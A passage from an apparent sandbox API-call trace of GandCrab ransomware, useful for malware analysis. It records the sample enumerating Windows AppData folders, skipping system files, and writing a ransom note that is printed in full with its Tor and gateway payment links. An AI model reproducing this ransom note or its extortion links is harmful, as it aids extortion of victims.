pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.591] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\\\GDCB-DECRYPT.txt") returned 262 [0171.591] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\credentials\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.591] GetLastError () returned 0x3 [0171.591] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D") returned 277 [0171.591] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Credentials\\DFBE70A7E5CC19A398EBF1B96859CE5D") returned 277 [0171.591] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.591] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.591] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.591] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.592] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\\\GDCB-DECRYPT.txt") returned 263 [0171.592] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Event Viewer\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\event viewer\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.592] GetLastError () returned 0x3 [0171.592] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.592] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.592] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.592] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.592] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\\\GDCB-DECRYPT.txt") returned 256 [0171.592] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0171.600] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0171.600] WriteFile (in: hFile=0x510, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d424, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d424*=0xad6, lpOverlapped=0x0) returned 1 [0171.601] CloseHandle (hObject=0x510) returned 1 [0171.601] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 260 [0171.601] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\FeedsStore.feedsdb-ms") returned 260 [0171.601] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\GDCB-DECRYPT.txt") returned 255 [0171.601] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\GDCB-DECRYPT.txt") returned 255 [0171.601] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\GDCB-DECRYPT.txt") returned 255 [0171.601] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\GDCB-DECRYPT.txt") returned 255 [0171.601] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0171.601] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0171.601] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.601] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0171.601] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0171.601] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0171.601] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0171.601] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0171.601] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0171.602] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.602] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.602] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.602] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.602] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\\\GDCB-DECRYPT.txt") returned 296 [0171.602] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.602] GetLastError () returned 0x3 [0171.602] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.602] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.602] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.602] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.606] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\\\GDCB-DECRYPT.txt") returned 262 [0171.607] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.607] GetLastError () returned 0x3 [0171.607] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.607] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.607] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.607] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.609] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6YGNCJW8\\\\GDCB-DECRYPT.txt") returned 271 [0171.609] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\6YGNCJW8\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\6ygncjw8\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.609] GetLastError () returned 0x3 [0171.609] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\container.dat") returned 258 [0171.609] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\container.dat") returned 258 [0171.609] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.609] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.609] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.609] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.610] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\FZW2QEOY\\\\GDCB-DECRYPT.txt") returned 271 [0171.610] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\FZW2QEOY\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\fzw2qeoy\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.610] GetLastError () returned 0x3 [0171.610] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.610] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.610] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.610] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.613] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\O593F7EE\\\\GDCB-DECRYPT.txt") returned 271 [0171.613] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\O593F7EE\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\o593f7ee\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.613] GetLastError () returned 0x3 [0171.613] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\O593F7EE\\ieonlinews.microsoft[1]") returned 277 [0171.613] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\O593F7EE\\ieonlinews.microsoft[1]") returned 277 [0171.614] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.614] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.614] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.614] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.614] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\PJ5H3B54\\\\GDCB-DECRYPT.txt") returned 271 [0171.614] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Feeds Cache\\PJ5H3B54\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\feeds cache\\pj5h3b54\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0171.614] GetLastError () returned 0x3 [0171.614] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.614] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.614] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.614] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.615] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\\\GDCB-DECRYPT.txt") returned 256 [0171.615] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\forms\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0171.617] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0171.617] WriteFile (in: hFile=0x510, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d424, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d424*=0xad6, lpOverlapped=0x0) returned 1 [0171.618] CloseHandle (hObject=0x510) returned 1 [0171.618] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMDATA64.DAT") returned 252 [0171.618] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\FRMDATA64.DAT") returned 252 [0171.618] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\GDCB-DECRYPT.txt") returned 255 [0171.618] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\GDCB-DECRYPT.txt") returned 255 [0171.618] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\GDCB-DECRYPT.txt") returned 255 [0171.618] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\FORMS\\GDCB-DECRYPT.txt") returned 255 [0171.618] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0171.618] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0171.618] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0171.618] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0171.618] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0171.618] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0171.618] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0171.618] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0171.618] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0171.618] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0171.619] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0171.619] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0171.619] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0171.619] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\\\GDCB-DECRYPT.txt") returned 258 [0171.619] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\GameDVR\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents 